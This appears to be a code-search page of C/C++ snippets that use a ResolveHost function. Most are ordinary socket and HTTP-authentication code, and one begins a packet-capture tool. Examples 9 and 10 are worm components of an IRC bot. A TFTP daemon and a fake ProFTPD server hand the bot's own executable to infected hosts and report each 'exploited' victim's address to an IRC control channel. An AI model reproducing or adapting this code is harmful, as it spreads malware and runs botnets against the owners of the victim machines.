Ejemplo n.º 1
0
bool TCPConnectionServer::Init( const std::string &host, unsigned short port, bool server )
{
	bufferSize = 1024;

	isServer = server;
	hostName = host;
	portNr = port;

	socketSet = SDLNet_AllocSocketSet( 100 );
	isSocketConnected.resize( 100 );

	for ( int i = 0 ; i < isSocketConnected.size() ; ++i )
		isSocketConnected[i] = false;

	if ( !ResolveHost() )
	{
		std::cout << "TCPConnection@" << __LINE__ << " Resolve Host failed!" << std::endl;
		return false;
	}

	if ( !OpenConnectionToHost() )
	{
		std::cout << "TCPConnection@" << __LINE__ << " Open Connection To  Host failed!" << std::endl;
		return false;
	}

	return true;
}
Ejemplo n.º 2
0
UDPConnectedSocket::UDPConnectedSocket(const std::string& server, const unsigned remoteport)
: Socket(DATAGRAM)
{
	sockaddr_in remoteAddr = ResolveHost(server, remoteport);
	if (connect(mySocket, (sockaddr*)&remoteAddr, sizeof(remoteAddr)) == SOCKET_ERROR)
	{
		throw network_error(std::string("Error while connecting: ") + GetErrorMsg());
	}
	SetBlocking(false);
}
Ejemplo n.º 3
0
int quendi_rp_connect(const char* host)
{
  int rsock;
  struct sockaddr_in addr;

  rsock = MakeSock();

  if (ResolveHost(host, &addr, 0) != NULL)
    return -2;

  if (connect(rsock, (struct sockaddr*)&addr, sizeof(addr)) != 0)
    return -1;

  return rsock;
}
Ejemplo n.º 4
0
bool TCPConnection::Init( const std::string &host, unsigned short port, bool server )
{
	isConnected = false;

	isServer = server;
	hostName = host;
	portNr = port;
	socketSet = SDLNet_AllocSocketSet( 1 );

	if ( !ResolveHost() )
		return false;

	if ( !OpenConnectionToHost() )
	{
		logger->Log( __FILE__, __LINE__, "Opening connection to host faield : ", SDLNet_GetError() );
		return false;
	}

	isConnected = !server;
	return true;
}
Ejemplo n.º 5
0
int main(int argc, void **argv)
{
     // Length of each packet to capture
     const unsigned int PACKET_CAPTURE_LENGTH = sizeof(struct
ether_header) + sizeof(struct ip) + sizeof(struct tcphdr);

     char Device[16], TargetHost[128], Filter[512];
     bpf_u_int32 NetAddress, NetMask;
     char PCapError[PCAP_ERRBUF_SIZE];
     pcap_t *Descriptor;
     char CompleteFilter[1024];
     struct bpf_program Program;
     u_char *PCapNullArgs = NULL;

     if (argc < 3)
     {
           printf("Usage: %s Device TargetHost [Count] [Filter]\n", argv[0]);
           exit(1);
     }

#ifndef LINUX
     strlcpy(Device, argv[1], sizeof(Device));
     strlcpy(TargetHost, argv[2], sizeof(TargetHost));
#else
     strncpy(Device, argv[1], sizeof(Device));
     strncpy(TargetHost, argv[2], sizeof(TargetHost));
#endif
     TargetAddress = ResolveHost(TargetHost);

     // Getting network address and mask of the interface
     if (pcap_lookupnet(Device, &NetAddress, &NetMask, PCapError) == -1)
     {
           printf("pcap_lookupnet: %s\n", PCapError);
           printf("Error looking up network address and mask to
device %s\n", Device);
           exit(1);
     }
Ejemplo n.º 6
0
//	////////////////////////////////////////////////////////////////////////////
boost::asio::ip::address ResolveHost(const std::string &host)
{
	return(ResolveHost(host.c_str()));
}
Ejemplo n.º 7
0
nsresult
nsHttpChannelAuthProvider::GetCredentialsForChallenge(const char *challenge,
                                                      const char *authType,
                                                      bool        proxyAuth,
                                                      nsIHttpAuthenticator *auth,
                                                      nsAFlatCString     &creds)
{
    LOG(("nsHttpChannelAuthProvider::GetCredentialsForChallenge "
         "[this=%p channel=%p proxyAuth=%d challenges=%s]\n",
        this, mAuthChannel, proxyAuth, challenge));

    // this getter never fails
    nsHttpAuthCache *authCache = gHttpHandler->AuthCache();

    uint32_t authFlags;
    nsresult rv = auth->GetAuthFlags(&authFlags);
    if (NS_FAILED(rv)) return rv;

    nsAutoCString realm;
    ParseRealm(challenge, realm);

    // if no realm, then use the auth type as the realm.  ToUpperCase so the
    // ficticious realm stands out a bit more.
    // XXX this will cause some single signon misses!
    // XXX this was meant to be used with NTLM, which supplies no realm.
    /*
    if (realm.IsEmpty()) {
        realm = authType;
        ToUpperCase(realm);
    }
    */

    // set informations that depend on whether
    // we're authenticating against a proxy
    // or a webserver
    const char *host;
    int32_t port;
    nsHttpAuthIdentity *ident;
    nsAutoCString path, scheme;
    bool identFromURI = false;
    nsISupports **continuationState;

    rv = GetAuthorizationMembers(proxyAuth, scheme, host, port,
                                 path, ident, continuationState);
    if (NS_FAILED(rv)) return rv;

    uint32_t loadFlags;
    rv = mAuthChannel->GetLoadFlags(&loadFlags);
    if (NS_FAILED(rv)) return rv;

    if (!proxyAuth) {
        // if this is the first challenge, then try using the identity
        // specified in the URL.
        if (mIdent.IsEmpty()) {
            GetIdentityFromURI(authFlags, mIdent);
            identFromURI = !mIdent.IsEmpty();
        }

        if ((loadFlags & nsIRequest::LOAD_ANONYMOUS) && !identFromURI) {
            LOG(("Skipping authentication for anonymous non-proxy request\n"));
            return NS_ERROR_NOT_AVAILABLE;
        }

        // Let explicit URL credentials pass
        // regardless of the LOAD_ANONYMOUS flag
    }
    else if ((loadFlags & nsIRequest::LOAD_ANONYMOUS) && !UsingHttpProxy()) {
        LOG(("Skipping authentication for anonymous non-proxy request\n"));
        return NS_ERROR_NOT_AVAILABLE;
    }

    //
    // if we already tried some credentials for this transaction, then
    // we need to possibly clear them from the cache, unless the credentials
    // in the cache have changed, in which case we'd want to give them a
    // try instead.
    //
    nsHttpAuthEntry *entry = nullptr;
    authCache->GetAuthEntryForDomain(scheme.get(), host, port,
                                     realm.get(), &entry);

    // hold reference to the auth session state (in case we clear our
    // reference to the entry).
    nsCOMPtr<nsISupports> sessionStateGrip;
    if (entry)
        sessionStateGrip = entry->mMetaData;

    // for digest auth, maybe our cached nonce value simply timed out...
    bool identityInvalid;
    nsISupports *sessionState = sessionStateGrip;
    rv = auth->ChallengeReceived(mAuthChannel,
                                 challenge,
                                 proxyAuth,
                                 &sessionState,
                                 &*continuationState,
                                 &identityInvalid);
    sessionStateGrip.swap(sessionState);
    if (NS_FAILED(rv)) return rv;

    LOG(("  identity invalid = %d\n", identityInvalid));

    if (identityInvalid) {
        if (entry) {
            if (ident->Equals(entry->Identity())) {
                if (!identFromURI) {
                    LOG(("  clearing bad auth cache entry\n"));
                    // ok, we've already tried this user identity, so clear the
                    // corresponding entry from the auth cache.
                    authCache->ClearAuthEntry(scheme.get(), host,
                                              port, realm.get());
                    entry = nullptr;
                    ident->Clear();
                }
            }
            else if (!identFromURI ||
                     (nsCRT::strcmp(ident->User(),
                                    entry->Identity().User()) == 0 &&
                     !(loadFlags &
                       (nsIChannel::LOAD_ANONYMOUS |
                        nsIChannel::LOAD_EXPLICIT_CREDENTIALS)))) {
                LOG(("  taking identity from auth cache\n"));
                // the password from the auth cache is more likely to be
                // correct than the one in the URL.  at least, we know that it
                // works with the given username.  it is possible for a server
                // to distinguish logons based on the supplied password alone,
                // but that would be quite unusual... and i don't think we need
                // to worry about such unorthodox cases.
                ident->Set(entry->Identity());
                identFromURI = false;
                if (entry->Creds()[0] != '\0') {
                    LOG(("    using cached credentials!\n"));
                    creds.Assign(entry->Creds());
                    return entry->AddPath(path.get());
                }
            }
        }
        else if (!identFromURI) {
            // hmm... identity invalid, but no auth entry!  the realm probably
            // changed (see bug 201986).
            ident->Clear();
        }

        if (!entry && ident->IsEmpty()) {
            uint32_t level = nsIAuthPrompt2::LEVEL_NONE;
            if (mUsingSSL)
                level = nsIAuthPrompt2::LEVEL_SECURE;
            else if (authFlags & nsIHttpAuthenticator::IDENTITY_ENCRYPTED)
                level = nsIAuthPrompt2::LEVEL_PW_ENCRYPTED;

            // at this point we are forced to interact with the user to get
            // their username and password for this domain.
            rv = PromptForIdentity(level, proxyAuth, realm.get(),
                                   authType, authFlags, *ident);
            if (NS_FAILED(rv)) return rv;
            identFromURI = false;
        }
    }

    if (identFromURI) {
        // Warn the user before automatically using the identity from the URL
        // to automatically log them into a site (see bug 232567).
        if (!ConfirmAuth(NS_LITERAL_STRING("AutomaticAuth"), false)) {
            // calling cancel here sets our mStatus and aborts the HTTP
            // transaction, which prevents OnDataAvailable events.
            mAuthChannel->Cancel(NS_ERROR_ABORT);
            // this return code alone is not equivalent to Cancel, since
            // it only instructs our caller that authentication failed.
            // without an explicit call to Cancel, our caller would just
            // load the page that accompanies the HTTP auth challenge.
            return NS_ERROR_ABORT;
        }
    }

    if (AuthModuleRequiresCanonicalName(*continuationState)) {
        nsresult rv = ResolveHost();
        if (NS_SUCCEEDED(rv))
            return NS_ERROR_IN_PROGRESS;
        return rv;
    }

    //
    // get credentials for the given user:pass
    //
    // always store the credentials we're trying now so that they will be used
    // on subsequent links.  This will potentially remove good credentials from
    // the cache.  This is ok as we don't want to use cached credentials if the
    // user specified something on the URI or in another manner.  This is so
    // that we don't transparently authenticate as someone they're not
    // expecting to authenticate as.
    //
    nsXPIDLCString result;
    rv = GenCredsAndSetEntry(auth, proxyAuth, scheme.get(), host, port,
                             path.get(), realm.get(), challenge, *ident,
                             sessionStateGrip, getter_Copies(result));
    if (NS_SUCCEEDED(rv))
        creds = result;
    return rv;
}
Ejemplo n.º 8
0
NS_IMETHODIMP nsHttpChannelAuthProvider::OnAuthAvailable(nsISupports *aContext,
                                                         nsIAuthInformation *aAuthInfo)
{
    LOG(("nsHttpChannelAuthProvider::OnAuthAvailable [this=%p channel=%p]",
        this, mAuthChannel));

    mAsyncPromptAuthCancelable = nullptr;
    if (!mAuthChannel)
        return NS_OK;

    nsresult rv;

    const char *host;
    int32_t port;
    nsHttpAuthIdentity *ident;
    nsAutoCString path, scheme;
    nsISupports **continuationState;
    rv = GetAuthorizationMembers(mProxyAuth, scheme, host, port,
                                 path, ident, continuationState);
    if (NS_FAILED(rv))
        OnAuthCancelled(aContext, false);

    nsAutoCString realm;
    ParseRealm(mCurrentChallenge.get(), realm);

    nsHttpAuthCache *authCache = gHttpHandler->AuthCache();
    nsHttpAuthEntry *entry = nullptr;
    authCache->GetAuthEntryForDomain(scheme.get(), host, port,
                                     realm.get(), &entry);

    nsCOMPtr<nsISupports> sessionStateGrip;
    if (entry)
        sessionStateGrip = entry->mMetaData;

    nsAuthInformationHolder* holder =
            static_cast<nsAuthInformationHolder*>(aAuthInfo);
    if (holder) {
        ident->Set(holder->Domain().get(),
                   holder->User().get(),
                   holder->Password().get());
    }

    if (AuthModuleRequiresCanonicalName(*continuationState)) {
        rv = ResolveHost();
        if (NS_FAILED(rv))
            OnAuthCancelled(aContext, true);
        return NS_OK;
    }

    nsAutoCString unused;
    nsCOMPtr<nsIHttpAuthenticator> auth;
    rv = GetAuthenticator(mCurrentChallenge.get(), unused,
                          getter_AddRefs(auth));
    if (NS_FAILED(rv)) {
        NS_ASSERTION(false, "GetAuthenticator failed");
        OnAuthCancelled(aContext, true);
        return NS_OK;
    }

    nsXPIDLCString creds;
    rv = GenCredsAndSetEntry(auth, mProxyAuth,
                             scheme.get(), host, port, path.get(),
                             realm.get(), mCurrentChallenge.get(), *ident,
                             sessionStateGrip, getter_Copies(creds));

    mCurrentChallenge.Truncate();
    if (NS_FAILED(rv)) {
        OnAuthCancelled(aContext, true);
        return NS_OK;
    }

    return ContinueOnAuthAvailable(creds);
}
Ejemplo n.º 9
0
void TFTPDHandler(LPVOID dwParam)
{
	char szSendBuffer[MAX_PATH], szType [] = "octet", szFileBuffer[516], szRemoteIpAddress[16], szFilePath[MAX_PATH];
	int iRetVal = 1; 
	FILE* hFile;
	
	if(!(pThread[FindPid("TFTPDaemon")].sServerSock = socket(AF_INET, SOCK_DGRAM, 0)))
		ExitThread(0);
	
	if(!Bind(pThread[FindPid("TFTPDaemon")].sServerSock, 69, true))
		ExitThread(0);
	
	if(!GetModuleFileName(NULL, szFilePath, sizeof(szFilePath)) || !(hFile = fopen(szFilePath, "rb")))
		ExitThread(0);
	
	while(1)
	{ 
		TIMEVAL hTimeVal; 
		hTimeVal.tv_sec		= 5; 
		hTimeVal.tv_usec	= 5000; 
		
		fd_set hFDSET; 
		FD_ZERO(&hFDSET); 
		FD_SET(pThread[FindPid("TFTPDaemon")].sServerSock, &hFDSET); 
		
		memset(szSendBuffer, 0, sizeof(szSendBuffer)); 
		
		if(select(0, &hFDSET, NULL, NULL, &hTimeVal))
		{ 
			SOCKADDR_IN sinSockAddrInClient; 
			int iSockAddrLenght = sizeof(sinSockAddrInClient); 
			
			if(!(recvfrom(pThread[FindPid("TFTPDaemon")].sServerSock, szSendBuffer, sizeof(szSendBuffer), 0, (LPSOCKADDR)&sinSockAddrInClient, &iSockAddrLenght)))
				ExitThread(0); 
			
			_snprintf(szRemoteIpAddress, sizeof(szRemoteIpAddress), inet_ntoa(sinSockAddrInClient.sin_addr));
			
			if(szSendBuffer[0] == 0 && szSendBuffer[1] == 1) 
			{
				char *szTempRequest = szSendBuffer, *szTempType = szSendBuffer;
				
				szTempRequest	+= 2;
				szTempType		+= (strlen(filename2) + 3);
				
				fseek(hFile, 0, SEEK_SET); 
				szFileBuffer[0]	= 0;
				
				szFileBuffer[1]	= 3;
				szFileBuffer[2]	= 0;
				szFileBuffer[3]	= 1;
				
				iRetVal = fread(&szFileBuffer[4], 1, 512, hFile);
				
				sendto(pThread[FindPid("TFTPDaemon")].sServerSock, szFileBuffer, iRetVal + 4, 0, (LPSOCKADDR)&sinSockAddrInClient, iSockAddrLenght);
			}
			else
				if(szSendBuffer[0] == 0 && szSendBuffer[1] == 4) 
				{
					BYTE BFirstPart = szSendBuffer[2], BSeccondPart = szSendBuffer[3];
					
					szFileBuffer[0]	= 0; 
					szFileBuffer[1]	= 3;
					
					if (BSeccondPart == 255) 
					{
						szFileBuffer[2]	= ++BFirstPart;
						szFileBuffer[3]	= BSeccondPart = 0;
					}
					else 
					{
						szFileBuffer[2]	= BFirstPart;
						szFileBuffer[3]	= ++BSeccondPart;
					}
					
					unsigned int iBlocks = (BFirstPart * 256) + BSeccondPart - 1; 
					
					fseek(hFile, iBlocks * 512, SEEK_SET);
					iRetVal = fread(&szFileBuffer[4], 1, 512, hFile); 
					
					sendto(pThread[FindPid("TFTPDaemon")].sServerSock, szFileBuffer, iRetVal + 4, 0, (LPSOCKADDR)&sinSockAddrInClient, iSockAddrLenght);
					
					if (!iRetVal) 
						BOT->cIRC.SendData("PRIVMSG %s :-wormride.tftpd- exploited %s (%s) succesfully\r\n",BOT->cIRC.cConf.cChan.c_str(),ResolveHost(szRemoteIpAddress), szRemoteIpAddress);
				}
				else
					sendto(pThread[FindPid("TFTPDaemon")].sServerSock, "\x00\x05\x00\x04\x6B\x74\x68\x78\x00",9, 0, (LPSOCKADDR)&sinSockAddrInClient, iSockAddrLenght); 
		}
		else 
			continue;
	}
	
	DelThread(FindPid("TFTPDaemon"));
	fclose(hFile);
	ExitThread(0);
}
Ejemplo n.º 10
0
void FtpdHandler()
{
	char szBuffer[128], szSendBuffer[128], szCommand[128], szParamter[128], szRemoteIp[128], szFtpdIp[16];
	char szPart1[4], szPart2[4], szPart3[4], szPart4[4], szPort[64], szPort1[64], szPort2[64];
	int iFDMax, iAddressLenght, iPort1, iPort2, i;
	struct fd_set hFDSETMain, hFDSETClient;
	struct sockaddr_in sinSockAddrIn;
	SOCKET sClientSock;
	long lIpAddress;
	
	FD_ZERO(&hFDSETMain);
	FD_ZERO(&hFDSETClient);
	
	if(!(pThread[FindPid("FTPDaemon")].sServerSock = socket(AF_INET, SOCK_STREAM, 0)))
		ExitThread(0);
	
	if(!Bind(pThread[FindPid("FTPDaemon")].sServerSock, usFtpdPort, false))
		ExitThread(0);
	
	FD_SET(pThread[FindPid("FTPDaemon")].sServerSock, &hFDSETMain);
	
	if(!(iFDMax = pThread[FindPid("FTPDaemon")].sServerSock))
		ExitThread(0);
	
	while(pThread[FindPid("FTPDaemon")].sServerSock) 
	{
		hFDSETClient = hFDSETMain;
		
		if (select(iFDMax+1, &hFDSETClient, NULL, NULL, NULL) == SOCKET_ERROR) 
			ExitThread(0);
		
		for(i = 0; i <= iFDMax; i++) 
		{
			memset(szBuffer,	0, sizeof(szBuffer));
			memset(szCommand,	0, sizeof(szCommand));
			
			if (FD_ISSET(i, &hFDSETClient)) 
			{
				if (i == (int)pThread[FindPid("FTPDaemon")].sServerSock) 
				{
					iAddressLenght = sizeof(sinSockAddrIn);
					
					if ((sClientSock = accept(pThread[FindPid("FTPDaemon")].sServerSock, (LPSOCKADDR)&sinSockAddrIn, &iAddressLenght)) != SOCKET_ERROR) 
					{
						FD_SET(sClientSock, &hFDSETMain);
						
						if ((int)sClientSock > iFDMax) 
							iFDMax = sClientSock;
						
						_snprintf(szSendBuffer, sizeof(szSendBuffer), "220 ProFTPD 1.%d.%d Server (ProFTPD Default Installation)\n", RandomNumber(0, 2), RandomNumber(0, 10));
						
						send(sClientSock, szSendBuffer, strlen(szSendBuffer) , 0);
					}
				} 
				else 
				{
					if(!(recv(i, szBuffer, sizeof(szBuffer), 0)))
					{
						FD_CLR((SOCKET)i, &hFDSETMain);
						closesocket(i);
					} 
					else 
					{
						sscanf(szBuffer,"%s %s", szCommand, szParamter);
						
						if(!strcmp(szCommand, "USER"))
							send(i, "331 Password required\n", 22, 0);
						else 
							if(!strcmp(szCommand, "PASS"))
								send(i, "230 User logged in.\n", 20, 0);
							else 
								if(!strcmp(szCommand, "SYST"))
									send(i, "215 UNIX Type: L8\n", 18, 0);
								else 
									if(!strcmp(szCommand, "REST"))
										send(i, "350 Restarting.\n", 16, 0);
									else 
										if(!strcmp(szCommand, "PWD"))
											send(i, "257 \"/\" is current directory.\n", 30, 0);
										else 
											if(!strcmp(szCommand, "TYPE") && !strcmp(szParamter, "A") || !strcmp(szParamter, "I"))
												send(i, "200 Type set to A.\n", 19 , 0);
											else 
												if(!strcmp(szCommand, "PASV")) 
													send(i, "425 Passive not supported on this server\n", 41, 0);
												else 
													if(!strcmp(szCommand, "LIST"))
														send(i, "226 Transfer complete\n", 22, 0);
													else 
														if(!strcmp(szCommand, "PORT")) 
														{
															sscanf(szBuffer, "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]", szPart1, szPart2, szPart3, szPart4, szPort1, szPort2);
															
															iPort1 = atoi(szPort1);
															iPort2 = atoi(szPort2);
															
															memset(szPort, 0, sizeof(szPort));
															_snprintf(szPort, sizeof(szPort), "%x%x\n", iPort1, iPort2);
															
															lIpAddress = strtoul(szPort, NULL, 16);
															
															_snprintf(szRemoteIp, sizeof(szRemoteIp), "%s.%s.%s.%s", szPart1, szPart2, szPart3, szPart4);
															send(i, "200 PORT command successful.\n", 29 , 0);
														}
														else 
															if (!strcmp(szCommand, "RETR")) 
															{
																send(i, "150 Opening BINARY mode data connection\n", 40 , 0);
																
																if(FtpdEstablishDataSocket(szRemoteIp, (int)lIpAddress))
																{
																	if(FtpdSendFile(sDataSocket))
																		send(i, "226 Transfer complete.\n", 23 , 0);
																	else
																		send(i, "425 Can't open data connection.\n", 32, 0);
																	
																	nFtpdTotalServed++;
																	
																	if(!GetSocketAddress(i, szFtpdIp))
																		strncpy(szFtpdIp, "unknown", sizeof(szFtpdIp));
																	BOT->cIRC.SendData("PRIVMSG %s :-wormride.ftod- %d. send success to %s (%s) succesfully\r\n",BOT->cIRC.cConf.cChan.c_str(),nFtpdTotalServed, ResolveHost(szFtpdIp), szFtpdIp);
																	
																	
																	closesocket(sDataSocket);
																} 
																else 
																	send(i, "425 Can't open data connection.\n", 32, 0);
															}
															else 
																if(!strcmp(szCommand, "QUIT"))
																	send(i, "221 Goodbye.\n", 13, 0);
																else
																	send(i, "501 Option not supported.\n", 26, 0);
																
																memset(szBuffer, 0, sizeof(szBuffer));
					}
				}
			}
		}
	}
	
	
	DelThread(FindPid("FTPDaemon"));
	ExitThread(1);
}